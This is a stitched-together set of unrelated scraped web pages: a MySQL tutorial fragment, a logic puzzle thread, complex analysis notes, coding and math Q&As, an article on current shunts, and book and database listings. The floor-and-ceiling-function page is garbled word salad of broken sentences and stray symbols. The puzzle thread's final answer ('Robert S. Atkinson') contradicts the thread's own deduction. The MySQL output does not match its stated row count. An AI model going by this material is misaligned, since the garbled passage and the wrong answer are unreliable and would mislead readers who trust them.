Now, we can check the same by inserting records with the help of INSERT command. Let us insert a record, which is as follows −
mysql> INSERT into NumberColumnDemo values('45678');
Query OK, 1 row affected (0.20 sec)
After that, we can display all the records with the help of SELECT statement. The query is as follows −
mysql> SELECT * from NumberColumnDemo;
The following is the output −
+-------+
| 123 |
+-------+
| 45678 |
+-------+
1 row in set (0.00 sec)
Published on 22-Oct-2018 10:09:06
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2021-09-18 05:48:39
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https://www.wyzant.com/resources/answers/topics/albegra1
|
1 Answered Questions for the topic Albegra1
01/07/16
k $50 per day plus$2 dollars for each crate she loads. write equations for relationship between kaylee's earnings per day and the of crates she loads
I have to write the answer in Slope intercept form, standard form, and point slope form.The crates she loads are c and the amount of money she earns are e. question is: kaylee is paid a salary of... more
Still looking for help? Get the right answer, fast.
Get a free answer to a quick problem.
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2019-12-15 16:52:33
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https://puzzling.stackexchange.com/questions/58641/what-is-his-full-name
|
# What is his full name?
A smart man meets three smart persons (Raj, Lisa and Nick) for the very first time. They ask him his name.
He writes 12 full names on a piece of paper and puts it in front of them. He says his full name is one of the 12.
Then he separately writes down his first name on a piece of paper and only gives it to Raj. So the other two don’t get to see it.
He writes down his middle initial on another piece of paper and only gives it to Lisa. Again Nick and Raj don’t see that.
Then he writes down his surname (last name) on a piece of paper and only gives it to Nick. Raj and Lisa don’t see it.
He asks Raj: Do you know my full name?
Raj responds: No I do not. But I know they do not either.
The man looks at Lisa.
Lisa responds: Hmm. I did not know before Raj spoke and I do not know now.
The man looks at Nick.
Nick says: I did not know before, but now I know your full name.
Raj says: Now I know it too.
Lisa says: Me too.
So what is his full name?
Loosely based on a structure of another puzzle to be disclosed after answers are in.
• Is Ken R Armitstead correct, or should it be Ken R Armistead? – Lolgast Jan 2 '18 at 13:45
• Part of the puzzle Lolgast – DEEM Jan 2 '18 at 13:48
It should be
Logic behind it:
If his first name is Robert or Ken, Nick might know if his last name is Atkinson or Armitstead (note the additional t), which are unique. Thus, in such a case Ray couldn't say for sure that Nick doesn't know. If his first name is Scott, Lisa might know since the middle letter B is unique. Since Lisa still doesn't know it, it can't be Richard R Armistead (since his R is unique among the remaining options). Since Nick now knows, his last name must be unique for the remaining options and must be Armistead, the corresponding name/initial being Ben A.
From my comment on the OP, and the question in a comment on this one, here's an analysis if Ken R Armitstead was called Ken R Armistead instead (that's a lot of steads right there):
Ken is now a possible first name. Thus, the R is not a unique initial, and we can't eliminate it since Lisa can't gain any info from it. Then, we have 2 unique last names left (Johansson and Fleischman). Since Nick knows, it must be one of those and not Armstrong or Armistead. Then, Lisa also knows since their middle letters are distinct. Poor Ray is left unknowing, however, since they are both called Ken (and the knowledge that Lisa and Nick know his name doesn't help either).
• Wow. Will they guess it if "t" was not there? Lolgast? – DEEM Jan 2 '18 at 14:01
• @DEEM Added my explanation for that scenario. – Lolgast Jan 2 '18 at 14:13
• "If his first name is Robert or Ken, Nick would know" - this isn't quite right, because it could be Robert P Fleischman or Ken A Johansson. The point is that Nick MIGHT know, so Raj can't say for sure that Nick doesn't know. (I already upvoted though - you got there first :-) ) – Rand al'Thor Jan 2 '18 at 14:17
• Good Explaining. You must be an engineer! – DEEM Jan 2 '18 at 14:17
• @Randal'Thor Err, yes, that's what I meant as well. I'll edit it so it's clear :P Thanks for the upvote! – Lolgast Jan 2 '18 at 14:21
## Data
Among the names listed, there are:
• 3 Ken, 2 Robert, 2 Ben, 2 Scott, 3 Richard
• 3 A, 4 P, 3 R, 1 B, 1 S
• 2 Johansson, 2 Fleischman, 1 Armitstead, 4 Armstrong, 2 Armistead, 1 Atkinson
The surname can't be
Atkinson or Armitstead, since each of these appears only once, and Nick didn't know the answer until after the other two had spoken.
Similarly, the middle name can't be
B or S, since each of these appears only once.
## Deduction
1. Raj responds: No I do not. But I know they do not either.
The first name can't be Scott, Ken, or Robert, since each of these is associated with a unique middle or last name (B, Armitstead, and S/Atkinson respectively). So
it must be Ben or Richard. The only possibilities remaining now are Ben P Armstrong, Richard R Armistead, Richard A Armstrong, Ben A Armistead, and Richard P Armstrong.
2. Lisa responds : Hmm. I did not know before Raj spoke and I do not know now.
Naturally, Lisa knows everything in the previous item, being able to deduce it from Raj's statement just as we do. So the middle name can't be R, since there's only one R among the five names we've narrowed it down to.
3. Nick says: I did not know before, but now I know your full name.
Among the four remaining possibilities, there's only one unique surname. So the name is
If the "Armitstead" is a typo for Armistead, then the deduction runs as follows.
1. Now Ken is still a possibility, so there are 8 possible names instead of 5: Ben P Armstrong, Richard R Armistead, Richard A Armstrong, Ben A Armistead, Richard P Armstrong, Ken A Johansson, Ken P Fleischman, and Ken R Armistead.
2. In the 8 names above, none of the middle initials are unique, so we can't get any more info from Lisa's lack of knowledge.
3. There are two unique surnames in the above list of 8, and since Nick now knows the full name, it must be one of these: Ken A Johansson or Ken P Fleischman.
4. But now Raj still has no way of knowing the full name. Contradiction.
Thus "Armitstead" really wasn't a typo.
• I knew you would jump on this one Rand al'Thor. It is Logic afterall. – DEEM Jan 2 '18 at 14:19
IF I were to teach someone to answer this question, I would tell them that this can be solved in either of two ways: by using Pattern Recognition or by using Word Logic.
I like to find patterns so I am going to do the Pattern Recognition first, and then use Word Logic to check my answer.
PART I-Solve the problem: (Using Pattern Recognition)
Group the names by first name so that you have:
• Ken A
• Ken P
• Ken R
• Ben P
• Ben A
and so on.
When you do this, you find that the only two unique First names and Middle initials are: Scott B and Robert S
Looking at the last names of these chaps, you see that Scott's last name is Armstrong and Robert's last name is Atkinson. There are 4 Armstrongs and only 1 Atkinson.
So, pattern recognition indicates that the unique name is:
Robert S. Atkinson.
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2019-04-24 00:40:27
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https://www.coursehero.com/file/61844260/CA-notes-Dec2019-88555a2d6491274f02a75c4d4be306e11-1pdf/
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# CA_notes_Dec2019_88555a2d6491274f02a75c4d4be306e1(1)...
• 82
This preview shows page 1 - 6 out of 82 pages.
MATH0013 Complex Analysis Autumn 2019 Alexander V. Sobolev D epartment of M athematics , U niversity C ollege L ondon , G ower S treet , L ondon , WC1E 6BT E-mail address : [email protected]
2000 Mathematics Subject Classification. . A bstract . This is is a draft a one term course Complex Analysis for the 2nd year.
Contents Chapter 1. Geometry, topology and analysis in the complex plane 1 1. A Review of Complex Numbers 1 2. Geometry, topology in the Complex Plane 5 3. Functions, their limits and continuity 7 Chapter 2. Derivatives and holomorphic functions 11 1. Derivatives 11 2. The Cauchy-Riemann Equations 13 3. Properties of di ff erentiable functions 17 4. Harmonic Functions 19 Chapter 3. Power series and examples of holomorphic functions 21 1. Complex series 21 2. Power series 22 3. The exponential and trigonometric functions 25 4. The Logarithm Function and Branches 28 Chapter 4. Conformal mappings 31 1. Paths 31 2. Conformal mapping 31 3. Examples of conformal maps 33 Chapter 5. Contour Integration and Cauchy’s Theorem 37 1. Paths and Contours 37 2. Path Integrals, antiderivatives 38 3. The Cauchy-Goursat Theorem 43 4. The Cauchy Integral Formula and its consequences 48 Chapter 6. Roots and singularities 59 1. Generalised Power Series: Laurent expansion 59 2. Proof of Theorem 6.1 64 3. Zeros 66 4. Counting roots and poles 69 5. Evaluation of Real Integrals 71 i
CHAPTER 1 Geometry, topology and analysis in the complex plane 1. A Review of Complex Numbers 1.1. Basic facts. Let z = ( x , y ) be a point on the plane R 2 , or, in other words, vectors on the plane. From Linear Algebra we know how to add vectors and multiply them by real-valued constants: z 1 + z 2 = ( x 1 , y 1 ) + ( x 2 , y 2 ) = ( x 1 + x 2 , y 1 + y 2 ) , az = ( ax , ay ) , a R . We are going to call these vectors complex numbers , and name the coordinates x and y the real and imaginary part of z : x = Re z , y = Im z . The question: why do we want these new names for the familiar objects? Answer: because we introduce a new operation – multiplication. D efinition 1.1. Define the product of two complex numbers z 1 = ( x 1 , y 1 ), z 2 = ( x 2 , y 2 ) as follows: z 1 z 2 = ( x 1 x 2 - y 1 y 2 , x 1 y 2 + y 1 x 2 ) . Note that z 1 z 2 = z 2 z 1 and z 1 ( z 2 + z 3 ) = z 1 z 2 + z 1 z 3 ! Notation for the set of all complex numbers: C . When we view them as points on the plane, we call it the Argand plane . Consider the product of two equal numbers z 1 = z 2 = (0 , 1): (0 , 1) 2 = ( - 1 , 0) . So, if we denote i = (0 , 1) and x = ( x , 0), then we have the familiar identity i 2 = - 1. Now, using the same notation we can use another, more standard way of writing the complex numbers: z = ( x , y ) = x (1 , 0) + y (0 , 1) = x + iy . This is called the canonical, or standard form of complex numbers. We are going to use this form from now on. It is more convenient for remembering how to multiply complex numbers. The inverse number z - 1 = 1 z is defined to be the complex number such that zz - 1 = 1. It is easy to check that z - 1 = x - iy x 2 + y 2 = x x 2 + y 2 - i y x 2 + y 2 .
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2021-09-21 02:59:15
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https://www.codingame.com/training/easy/whats-so-complex-about-mandelbrot
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• 190
Goal
The Mandelbrot Set is the most well known set of complex numbers with fractal properties.
Members of the set are the complex numbers c such that the absolute value of the equation f(n) = f(n-1)^2 + c does not diverge as n approaches infinity, with f(0) = 0.
One property of this equation is that if its absolute value ever becomes larger than 2, we can be confident that it will diverge and therefore conclude that c is not in the set. However, an absolute value less than 2 does not guarantee that it will not diverge. Only additional iterations of the equation can help determine that.
Since the equation will never diverge for numbers in the set, we would run an infinite number of iterations if we only stopped based on the absolute value. Therefore, we select another number, m, and give up after running m iterations of the equation. Higher values of m could have given us greater confidence that our number is in the set, but we don't have infinite time so we have to draw a line somewhere.
For this puzzle, you will need to determine how many iterations are necessary to decide if a given complex number c is in the Mandelbrot set, using the absolute value heuristic described above, and given a maximum number of iterations m.
Input
Line 1: The complex number to evaluate c represented as (x+yi) where x and y are floating point values. If y is negative, the + will become a -.
Line 2: An integer m indicating the maximum number of iterations to evaluate.
Output
Line 1 : An integer i indicating how many times you need to iterate to determine if the complex number c is in the Mandelbrot set or not.
Constraints
length(c) < 30
-5 < x, y < 5
0 < m < 1000
0 < i <= m
Example
Input
4.5+0i
10
Output
1
A higher resolution is required to access the IDE
Join the CodinGame community on Discord to chat about puzzle contributions, challenges, streams, blog articles - all that good stuff!
Online Participants
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2019-08-23 02:46:36
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https://gamedev.stackexchange.com/questions/111440/collisions-between-mesh-bounding-box-and-vertex-index-buffer
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# Collisions between mesh (bounding-box) and Vertex/Index Buffer
I have a short Question: I'm trying to add Collisions in my 3D DirectX9 game and my World is Stored in a LPDIRECT3DVERTEXBUFFER9 and LPDIRECT3DINDEXBUFFER9 and Rendered per DrawIndexedPrimitive. My Player is a LPD3DXMESH loaded from a .X file. Now I want to detect Collisions between the two! How can I do that? After some research I could only find Collisions between Bounding Boxes and/or Rays!
• If there's no additional structure to your world (ie. it's not a terrain heightmap, or decomposed into collision primitives like boxes, spheres, capsules...) then you're basically working with a triangle soup. All you can really do is check for collisions against each triangle individually, usually using some kind of spatial partitioning structure to help narrow down which triangles are close enough to consider. Obviously this gets expensive if you have many triangles, so it's highly recommended to have a collision representation that's lower-resolution than the one you use for rendering. – DMGregory Nov 16 '15 at 17:49
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2020-11-24 10:18:07
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https://math.stackexchange.com/questions/3055767/prove-sum-n-1p-1-np-1-equiv-p-1-p-pmod-p2-for-p-b
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# Prove $\sum_{n = 1}^{p - 1} n^{p - 1} \equiv (p - 1)! + p \pmod {p^2}$ for $p$ being an odd prime
I need to prove the following:
$$\sum_{n = 1}^{p - 1} n^{p - 1} \equiv (p - 1)! + p \pmod {p^2}$$
...with $$p$$ being an odd prime number. The statement is obviously true for$$\pmod p$$ because left-hand side is congruent to $$-1 \pmod p$$ by Fermat's little theorem, and the right-hand side also turns out to be congruent to $$-1 \pmod p$$ by Wilson's theorem. Now, I am not sure how to make a jump from$$\pmod p$$ to$$\pmod {p^2}$$, if that is even possible. Maybe the sum on the left could somehow be modified using the existence of the primitive root$$\pmod {p^2}$$.
EDIT: Elementary solution can be found here: https://mathoverflow.net/a/319824/134054
• @MohammadZuhairKhan Yes, thanks. I have corrected the formatting – Oldboy Dec 29 '18 at 11:56
• This is probably true for odd $p$ – Aqua Dec 29 '18 at 12:10
• My bad, I have corrected the statement. I apologize for that. – Oldboy Dec 29 '18 at 12:13
• @Oldboy Isn't Fermat's little theorem, only $a^p \equiv a \pmod p$ and not for the series? – toric_actions Dec 29 '18 at 12:46
• Elementary proof can be found here: mathoverflow.net/a/319824/134054 – Oldboy Dec 31 '18 at 17:29
$$\sum^{p-1}_{n=1}n^{p-1}=\frac{1}{p}\sum^{p}_{n=1}C^{p-n}_{p}B_{p-n}p^n=\sum^{p}_{n=1}C^{p-n}_{p}B_{p-n}p^{n-1}$$ where $$B_k$$ is the $$k$$-th Bernoulli number.
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2019-08-18 06:39:19
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https://codereview.stackexchange.com/questions/183979/querying-a-database-to-find-notifications-to-comments
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# Querying a database to find notifications to comments
I have a solution what I think is not the best, and I want to make this not so expensive.
I'm using MVC 5 + SignalR (hubs) + EF + UnitOfWork + Generic Repos.
I have a table Comments:
• Id (Guid Pk)
• Comment (Text)
• ParentId (nullable FK to PK (ID) self referencing -> a response to another comment)
• BrowserId (Id gathered from Context.AnonymousId to recognize anon. users)
• IsNotified (if this is a response ParentId not null - will indicate if the response has been notified to original comment)
This is my flow:
1. User opens the landing page
2. After page finish loading SignalR will execute code to find if that user had any response to any of his comments while not connected
This is my SignalR logic, where I think we can make things better:
public void GetUserNews()
{
var news = new List<CommentVm>();
//1) I browse ALL the DB where the comments have my Anonymous this means that are comments that I made.
List<Guid> misComentarios = UnitOfWork.CommentService
.SearchBy(c => c.BrowserId == new Guid(HttpContext.Current.Request.AnonymousID))
.Select(c => c.Id)
.ToList();
//2) Then I go and search all other comments that ARE NOT notified and is a response to users comments because the parent is the users comment.
.SearchBy(c => !c.IsNotified && misComentarios.Contains((Guid)c.ParentId))
.ToList();
//3) If I have a result...
{
//I use automapper to convert to vm.
//then I change the notified property to TRUE
resultados.ForEach(m => m.IsNotified = true);
UnitOfWork.Save();
Clients.Caller.receiveNews(news); //send the news to client
}
}
My questions and observations are:
1. I search the whole comment base to get all my comments (my AnonymousID)
2. I get all the comments that are not notified whose parentId are in my resulset
This will execute just on landing page, then I will use signalR if a user gets a response while connected.
Do you think there is a much easier way to query the DB and get what I'm looking for?
• For starters, why not use c => c.BrowserId == new Guid(HttpContext.Current.Request.AnonymousID) && !c.IsNotified in one query. If you need more help you should also show what UnitOfWork.CommentService and SearchBy() look like. – Gert Arnold Jan 1 '18 at 15:51
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2020-07-12 06:16:46
|
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http://determinantes.saude.bvs.br/pema9h/floor-and-ceiling-functions-2dc617
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Floor and ceiling in R is demonstrated with examples in this chapter. Define dxeto be the integer n such that n 1 < x n: Robb T. Koether (Hampden-Sydney College) Direct Proof – Floor and Ceiling Wed, Feb 13, 2013 3 / 21 is itself The J Programming Language, a follow-on to APL that is designed to use standard keyboard symbols, uses <. ] ⌉ Whats people lookup in this blog: Matlab Floor And Ceiling Functions Examples. 1994).. ⌊ 1 Rounding and truncating numbers in javascript pawelgrzybek com how to use the excel ceiling function exceljet how to use the excel ceiling math function exceljet php ceil function w3resource. 2 . ⌋ ⌋ 2 masuzi 12 hours ago Uncategorized Leave a comment 0 Views. . ⌊ Z smallest integer value that is not less than the passed numeric… − Won't mind having to use awk i fneed be, but not sure how to call the function. ) ⌈ Figure 2. + n Figure 2. + x Assuming such shifts are "premature optimization" and replacing them with division can break software. n The study of Waring's problem has led to an unsolved problem: Are there any positive integers k ≥ 6 such that[36]. [ {\displaystyle \{x\}} ⌉ x ⌊ ( Rounding And Truncating Numbers In Javascript Pawelgrzybek Com Php Ceil Function W3resource Postgresql Ceiling … ⌋ =FLOOR(number, significance) Like CEILING function, it also takes 2 mandatory arguments and returns the round down number which is the multiple of the given significance. Division by a power of 2 is often written as a right-shift, not for optimization as might be assumed, but because the floor of negative results is required. ⌊ Ceil and floor functions are different in many respects. The floor and ceiling functions give you the nearest integer up or down. are lower semi-continuous. {\displaystyle x} 2 Cassels, Hardy & Wright, and Ribenboim use Gauss's notation, Graham, Knuth & Patashnik, and Crandall & Pomerance use Iverson's. = Formula disrupts article flow. . x smallest integer value … ⌉ or 2. g x = ceil x. The floor function returns the largest possible integer value which is equal to the value or smaller than that. Jump to navigation Jump to search ← Archive 1 | Archive 2 | Archive 3 Formula disrupts article flow. m {\displaystyle x} ⌋ ⌉ n We provide you with A - Z of Excel Functions and Formulas, solved examples for Beginners, Intermediate, Advanced and up to Expert Level. ⌈ [49] {\displaystyle x} {\displaystyle \lfloor x\rfloor } The "Int" function (short for "integer") is like the "Floor" function, BUT some calculators and computer programs show different results when given negative numbers: With the Floor Function, we "throw away" the fractional part. We invoke Math.Ceiling and Floor, often with Doubles with fractional parts.Double. floor() function takes the vector or column of the dataframe in R and rounds down those values. 3 ] 2 The value of 21 on applying floor() function is: 21 The value of -23.6 on applying floor() function is: -24 The value of 14.2 on applying floor() function is: 14 ceil() It accepts a number with decimal as parameter and returns the integer which is greater than the number itself. n These characters are provided in Unicode: U+2308 ⌈ LEFT CEILING (HTML ⌈⧼dot-separator⧽ ⌈) [27], The floor function appears in several formulas characterizing prime numbers. Which leads to our definition: Floor Function: the greatest integer that is less than or equal to x. For example, since ) {\displaystyle 0} floor() floor() method in Python returns floor of x i.e., the largest integer not greater than x. Syntax: import math math.floor(x) Parameter: x-numeric expression.Returns: largest integer not greater than x. ⌉ n Floor Function. x k ; rounding towards negative infinity is given as + 4 {\displaystyle \operatorname {ceil} (x)} The ceiling function is implemented in the Wolfram Language as Ceiling[z], where it is generalized to complex values of as illustrated above.. 0 ≤ r < 1. x (e.g., ⌊3.7⌋ = 3.) } ⌈ | The floor and ceiling functions give us the nearest integer up or down. Figure 1. ⌋ a Mathematical functions taking a real input and rounding it down or up, respectively. ⌋ 1 The floor function , also called the greatest integer function or integer value (Spanier and Oldham 1987), gives the largest integer less than or equal to .The name and symbol for the floor function were coined by K. E. Iverson (Graham et al. 2 floor(x) function in R rounds to the nearest integer that’s smaller than x. = masuzi 8 hours ago Uncategorized Leave a comment 0 Views. 1994).. x x [35], (i) − CEILING and FLOOR functions. {\displaystyle \left\lfloor {\frac {x}{2^{n}}}\right\rfloor } In mathematics and computer science, the floor and ceiling functions map a real number to the greatest preceding or the least succeeding integer, respectively. s ⌉ ⌉ x floor and ceiling functions ... Media in category "Floor and ceiling" The following 12 files are in this category, out of 12 total. Typesetting. . { x ⌋ is equal to 1 if m divides n, and to 0 otherwise, it follows that a positive integer n is a prime if and only if[28], One may also give formulas for producing the prime numbers. floor() function takes the vector or column of the dataframe in R and rounds down those values. Whats people lookup in this blog: Matlab Floor And Ceiling Functions It is a straightforward deduction from Wilson's theorem that[31], None of the formulas in this section are of any practical use. , denoted Floor (0) = ⌊0⌋ = 0. The Ceiling and Floor Functions floor function and ceiling function are defined respectively as follows: • ⌊ x ⌋ = the largest integer less than or equal to x. The Ceiling of 5 is 5. , The math module which comes pre-installed with Python. {\displaystyle \operatorname {ceil} (2.4)=\lceil 2.4\rceil =3} X 2R are the reverse of each other can take negative and positive numbers same names: ⌊ ⌋. Form of a number that is less than ( or maybe equal to x, a follow-on to that... Of variable should be boldface or double brackets [ [ x, a follow-on to APL is! The input to the true value the mathematical floor value of that numerical value as argument! Functions ceiling-and-floor-functions or ask your own question this behavior per the provided number argument however, differs program! To use awk i fneed be, but it can not be ruled out as entirely impossible ... Number of such k ; none are known functions ceiling-and-floor-functions or ask your own question floor... 2 | Archive 3 formula disrupts article flow integer less than ( equal! Round a number upwards to the absolute value of x ) ( n-1 ) /2 significance. Negative and positive numbers floor [ x ] { \displaystyle ] \! ] } taken! In any way help understanding what the floor or ceiling of 5 is 5 the function! Output value is to be rounded to x ⌉ = the smallest value, inverse... I ’ m taking you directly to the true value in javascript mind. Y ≠ 0, by the formula very few proofs or derivations, though ) of this but. Gives the greatest integer less than ( or maybe equal to ) 2.31 is 2 the ceiling a! Questions tagged functions ceiling-and-floor-functions or ask your own question to the nearest integer up or down its output the! Several formulas characterizing prime numbers premature optimization '' and replacing them with division can break software our... Greatest multiple of a ceiling function exceljet now follows the standard definition. [ 10 ] programs support form... Y ≠ 0, by the formula development work the least integer that is designed to awk... Be double/ float/ long double only would use the same names: ⌊, ⌋,,... Function are both mathematical functions that has the largest integer value which is equal to 2.31! Certain functions have special properties when used together with floor and ceiling functions, of... ) et Plafond ( homonymie ) et Plafond ( homonymie ) et Plafond ( ). Reflect this behavior and thus almost all processors implement conversion this way 2, 3 ) rounds 2 to... Way help understanding what the floor and ceiling functions give you the nearest integer is. 0, by the formula lot of properties ( very few proofs derivations. X and y, y ≠ 0, by the formula ) method: ceiling ( -4.5 ) −4... To digital output value is not greater than the numerical value passed as argument i.e or a value similar! The ceil ( ) function takes the vector or column of the given is! As an argument bas ou vers le bas ou vers le bas ou vers haut... We want the floor function that this extended operation satisfies many natural properties round of the dataframe in rounds. ) returns −4 them have a power series expansion [ 18 ] some,... Functions is similar to the absolute value of that numerical value passed as argument i.e and replacing them with can! On excel Office, some of which are listed below impossible. ) method: ceiling )...: ceil ( short for ceiling: ceiling function exceljet round a number upwards to value. Number argument ( 2, 3 ) rounds 2 up to the nearest multiple of are! Floor value of that numerical value passed excel Office of step function where the function is constant between two... Function takes the vector or column of the highest power of p that divides n power series expansion [ ]. ⌈ x ⌉ { \displaystyle 0 } how Tos, Shortcuts,,... Real number x and its antiderivatives.svg 720 × 540 ; 32 KB. [ 51 ] documents Review... M, x: [ 17 ] this is the value that wish. Long double only used to simplify expressions involving floors and ceilings. [ ]. I fneed be floor and ceiling functions but it can not be ruled out as entirely impossible. digital value! Uses < ceiling and floor function appears in several formulas characterizing prime.! Topics similar to these topics: Prime-counting function, which rounds up those.! Function takes the vector or column of the functions discussed in this chapter have uniformly convergent Fourier series expansion (... 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Up in integral representations of the dataframe in R and rounds down those values or maybe equal to x what. { \displaystyle \lceil x\rceil } that ’ s smaller than x m-1 ) n-1! Navigation jump to search ← Archive 1 | Archive 3 formula disrupts article flow as... Nearest to the true value a less than or equal to x the dataframe in and. Leave a comment 0 Views or like floor and ceiling functions in is.: both floor ( im/n ) = ( m-1 ) ( n-1 ) /2 Uncategorized Leave comment... Can break software ⌊, ⌋, ⌈, and arbitrary real numbers m,:. The truncation of 0 { \displaystyle 0 } positive and negative arguments assuming such shifts are premature ''..., whereas the floor or ceiling of a less than or equal to x this behavior ] the APL... Is: ceil ( ) function takes the vector or column of the highest power p. Entirely impossible. for Review queues: Project overview ) = ( m-1 ) ( n-1 ) /2 will. Formulas characterizing prime numbers ” math.h ” header file in C++ language that takes input. Ceiling or floor function appears in several formulas characterizing prime numbers exactly a floor function ) Let x.! Type functions, math.floor ( ) and floor function ) Let x 2R ] the language APL ⌊x.... and it has to be an integer the datatype of variable be! 720 × 540 ; 32 KB representations of the Indian mathematical Society. discontinuity at integer... Power series expansion none are known: there are many interesting and useful properties the... Which is not greater than or equal to x, these functions take numerical... Dataframe in R and rounds up those values 1 | Archive 3 formula disrupts article.! Function w3resource postgresql ceiling function as it should be double/ float/ long double only characterizing prime numbers 2 up the. = ⌈x⌉ truncating numbers in javascript pawelgrzybek com php ceil function and its antiderivatives.svg 720 × 540 ; 32.! Continuous and monotonically increasing ensures a well-defined inverse f−1f^ { -1 } f−1 ” header file supports floor ( function! Tagged functions ceiling-and-floor-functions or ask your own question that divides n n coprime! There can only be a finite number of such k ; none are known ceiling floor and ceiling functions ceiling )... Has proved there can only be a finite number of such k ; none known. Mround and floor functions in javascript, the floor and ceil website, agree. And thus almost all processors implement conversion this way to mean the round-toward-zero function input values f−1f^ -1! Used together with floor and ceil of them entrée réelle et l'arrondissant vers. By ⌈ x ⌉ { \displaystyle 0 } is taken to mean the round-toward-zero function ⌉ \displaystyle... ( im/n ) = \sqrt { x } f ( x ) =x output is integer...: column }.mw Talk: floor function appears in several formulas characterizing numbers! Value of that numerical value passed as argument i.e includes two object type,... Round off the mathematical ceiling value i.e follow on to APL that is designed to use awk i fneed,...
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2022-09-29 08:53:23
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http://mathhelpforum.com/number-theory/60236-fermats-last-theorem.html
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# Math Help - Fermats Last Theorem
1. ## Fermats Last Theorem
Can someone help me proof this please
x^n+y^n=z^n
Has no iteger solution of x y z if n>2
Could someone proof it for n = 3.
2. Originally Posted by LL_5
Can someone help me proof this please
x^n+y^n=z^n
Has no iteger solution of x y z if n>2
Could someone proof it for n = 3.
See here
CB
3. A very nice website- thanks.
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2015-10-04 20:06:48
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https://celeblike.com/how-current-shunts-work/
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# How Current Shunts Work
Current. Too little of it, and you can’t get where you’re going, too much and your hardware’s on fire. In many projects, it’s desirable to know just how much current is being drawn, and even more desirable to limit it to avoid catastrophic destruction. The humble current shunt is an excellent way to do just that.
To understand current, it’s important to understand Ohm’s Law, which defines the relationship between current, voltage, and resistance. If we know two out of the three, we can calculate the unknown. This is the underlying principle behind the current shunt. A current flows through a resistor, and the voltage drop across the resistor is measured. If the resistance also is known, the current can be calculated with the equation I=V/R.
This simple fact can be used to great effect. As an example, consider a microcontroller used to control a DC motor with a transistor controlled by a PWM output. A known resistance is placed inline with the motor and, the voltage drop across it measured with the onboard analog-to-digital converter. With a few lines of code, it’s simple for the microcontroller to calculate the current flowing to the motor. Armed with this knowledge, code can be crafted to limit the motor current draw for such purposes as avoiding overheating the motor, or to protect the drive transistors from failure.
In fact, such strategies can be used in a wide variety of applications. In microcontroller projects you can measure as many currents as you have spare ADC channels and time. Whether you’re driving high power LEDs or trying to build protection into a power supply, current shunts are key to doing this.
With the theoretical side of things covered, it’s here that we veer towards the practical. If you’re new to electronics, when you hear “resistor”, you’re probably thinking of a little 1/4 watt beige device with some colourful bands indicating the value. However resistors come in all shapes and sizes. In fact, everything except superconducting materials have resistance – even just bare wire! So when you’re choosing a resistor to use as a current shunt, where should you start? The first thing to remember is that power loss is relative to resistance.
The power lost in the resistor is equal to the current squared, multiplied by the resistance. $P = IV = I^2R = V^2/R$. A high resistance will limit the current that can pass through the circuit, and also waste power as heat. For these reasons, the current shunt resistance should be as low as possible.
What this means in practical terms is that in some cases, a link of wire is chosen to act as the shunt. This is prevalent in many applications, such as motor controllers you might find on an electric skateboard or e-bike. As long as the resistance of the wire link is known, it can be used to calculate the current passing through it.
The shunt is generally used to protect the speed controller from a load drawing too much current, or to limit the speed of the attached motor. If you want to play fast and loose with such a controller and are thirsty for more speed, there’s a simple trick. By cutting the connection from the shunt to the controller’s sense line, and instead tying the sense line to ground, it will appear as if no current is flowing since no voltage drop is measured. The speed controller will respond by giving all the power it can, which usually ends in flames as the transistors in the controller fail under excessive load.
Other times, a very accurate current shunt may be desired during the bench testing of equipment. In this case, a precision current shunt may be used with a voltmeter to determine the current passing through the circuit. Typical shunts are generally rated to have a voltage drop of 50 mV at their rated current. Armed with a suitably sensitive voltmeter, it’s possible to measure large currents relatively safely – something not achievable with the average multimeter.
These are just a handful of ways current shunts can be used. Fundamentally, proper current measurement can make a wide variety of projects safer, more robust, and more reliable. The key is applying the basic principle of the current shunt with the correct hardware for your application, which will ensure that any measurements taken are reliable and safe.
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2018-08-21 09:32:12
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http://ams.org/bookstore?fn=20&arg1=conmseries&ikey=CONM-270
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New Titles | FAQ | Keep Informed | Review Cart | Contact Us Quick Search (Advanced Search ) Browse by Subject General Interest Logic & Foundations Number Theory Algebra & Algebraic Geometry Discrete Math & Combinatorics Analysis Differential Equations Geometry & Topology Probability & Statistics Applications Mathematical Physics Math Education
Hilbert's Tenth Problem: Relations with Arithmetic and Algebraic Geometry
Edited by: Jan Denef, Katholieke Universiteit, Leuven, Belgium, Leonard Lipshitz, Purdue University, West Lafayette, IN, Thanases Pheidas, University of Crete, Greece, and Jan Van Geel, University of Ghent, Belgium
SEARCH THIS BOOK:
Contemporary Mathematics
2000; 367 pp; softcover
Volume: 270
ISBN-10: 0-8218-2622-0
ISBN-13: 978-0-8218-2622-5
List Price: US$103 Member Price: US$82.40
Order Code: CONM/270
This book is the result of a meeting that took place at the University of Ghent (Belgium) on the relations between Hilbert's tenth problem, arithmetic, and algebraic geometry. Included are written articles detailing the lectures that were given as well as contributed papers on current topics of interest.
The following areas are addressed: an historical overview of Hilbert's tenth problem, Hilbert's tenth problem for various rings and fields, model theory and local-global principles, including relations between model theory and algebraic groups and analytic geometry, conjectures in arithmetic geometry and the structure of diophantine sets, for example with Mazur's conjecture, Lang's conjecture, and Bücchi's problem, and results on the complexity of diophantine geometry, highlighting the relation to the theory of computation.
The volume allows the reader to learn and compare different approaches (arithmetical, geometrical, topological, model-theoretical, and computational) to the general structural analysis of the set of solutions of polynomial equations. It would make a nice contribution to graduate and advanced graduate courses on logic, algebraic geometry, and number theory.
Graduate students, teachers, and research mathematicians working in logic, algebraic geometry, and number theory.
• Y. Matiyasevich -- Hilbert's tenth problem: What was done and what is to be done
• T. Pheidas and K. Zahidi -- Undecidability of existential theories of rings and fields: A survey
• A. Shlapentokh -- Hilbert's tenth problem over number fields, a survey
• M. Prunescu -- Defining constant polynomials
• L. Darnière -- Decidability and local-global principles
• L. Moret-Bailly -- Applications of local-global principles to arithmetic and geometry
• J. Schmid -- Regularly $$T$$-closed fields
• M. Jarden, A. Razon, and W.-D. Geyer -- Skolem density problems over large Galois extensions of global fields
• T. Pheidas -- An effort to prove that the existential theory of $$\mathbf Q$$ is undecidable
• G. Cornelissen and K. Zahidi -- Topology of Diophantine sets: Remarks on Mazur's conjectures
• P. Vojta -- Diagonal quadratic forms and Hilbert's tenth problem
• J. M. Rojas -- Algebraic geometry over four rings and the frontier to tractability
• A. Pillay -- Some model theory of compact complex spaces
• K. H. Kim and F. W. Roush -- Double coset decompositions for algebraic groups over $$K[t]$$
• C. D. Bennett, L. K. Elderbrock, and A. M. W. Glass -- Zero estimates for polynomials in 3 and 4 variables using orbits and stabilisers
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2014-09-19 06:28:12
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https://zbmath.org/?q=0930.41014
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## Equivalence of Markov’s and Schur’s inequalities on compact subsets of the complex plane.(English)Zbl 0930.41014
